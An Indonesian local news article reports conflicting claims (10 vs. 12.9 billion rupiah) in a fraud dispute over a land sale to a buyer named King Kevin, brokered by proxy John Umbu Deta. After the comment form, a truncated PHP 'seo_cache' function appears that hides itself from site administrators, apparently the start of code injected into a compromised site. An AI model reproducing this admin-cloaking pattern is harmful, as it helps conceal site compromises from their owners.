Uncategorized

Beda Nominal, Pemilik Tanah Sebut 10 M Kuasa Hukum John Umbu Deta Malah Beberkan Angka 12,9 M Lebih

×

Beda Nominal, Pemilik Tanah Sebut 10 M Kuasa Hukum John Umbu Deta Malah Beberkan Angka 12,9 M Lebih

Sebarkan artikel ini

TAMBOLAKA, MENARASUMBA.COM –
Episode kisruh pembelian tanah oleh King Kevin sudah bergulir di ranah hukum.

Posisi John Umbu Deta sebagai kuasa jual untuk pemilik tanah Wilhelmus Winya Marru dan Hendrikus Wona Dendo membuatnya makin terjepit.

Didahului oleh laporan King Kevin bulan Juli 2025 lalu, pada Selasa (25/11/2025) giliran pemilik tanah membuat laporan melalui kuasa hukum Yubilate Pieter Pandango.

Topik laporan King Kevin maupun pemilik tanah sama yakni penipuan dan penggelapan.

Pemilik tanah memblokir proses balik nama karena uang hasil penjualan masih tersangkut di tangan penerima kuasa jual.

Namun ada yang beda soal nominal harga tanah tersebut, dimana penjual menyebut angka 10 miliar dan kuasa jual disebut menerima 12,9 miliar lebih.

Sayangnya, cuma sedikit dari uang 10 miliar tersebut yang diterima pemilik tanah.

Seperti disampaikan kuasa hukum pemilik tanah usai melapor di SPKT Polres SBD, penyerahan uang tunai 10 miliar di hadapan notaris hanya akal-akalan.

“Itu hanya untuk keperluan dokumentasi saja. Uang diserahkan dan dipegang klien kami lalu difoto serta divideokan setelah itu diambil kembali,” ungkap kuasa hukum pemilik tanah , Selasa (25/11/2025 di Mapolres SBD.

Informasi mengejutkan justru datang dari kuasa hukum John Umbu Deta yang menyebut angka fantastis.

Saat memberi keterangan pers pada Rabu (26/11/2025) pengacara Meltripaul E. Rongga sebagai kuasa hukum John Umbu Deta mengungkap harga sesungguhnya dari tanah yang dibeli King Kevin.

“Kalau berdasarkan kopian yang ada di tangan saya, sesuai dengan akta yang ada di tangan saya sekitar 12,9 miliar lebih,” bebernya.

Meltripaul mengungkap angka tersebut saat dicecar awak media dalam konferensi pers yang berlangsung di kediamannya, Rada Tani, Kota Tambolaka.

“Yang jelas harganya seperti itu 12 M 900 bla bla bla, saya kurang terlalu ingat (angka persisnya),” ujar Meltripaul.

Total harga ini, kata dia, sudah terbayarkan seluruhnya oleh King Kevin.

Namun dirinya tidak bisa menjelaskan saat ditanya soal uang hasil penjualan tanah yang sampai ke tangan pemilik lahan.

“Berkaitan dengan keuangan itu, itu kan semua prosesnya di notaris,” timpalnya.

Hal itu dibuktikan dengan kuitansi yang ditandatangani pemilik tanah saat menerima uang di hadapan notaris.

“Tetapi kalau ada berapa, saya tidak terlalu paham itu. Saya tidak terlalu sampai ke sana,” tandas Meltripaul. ( JIP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>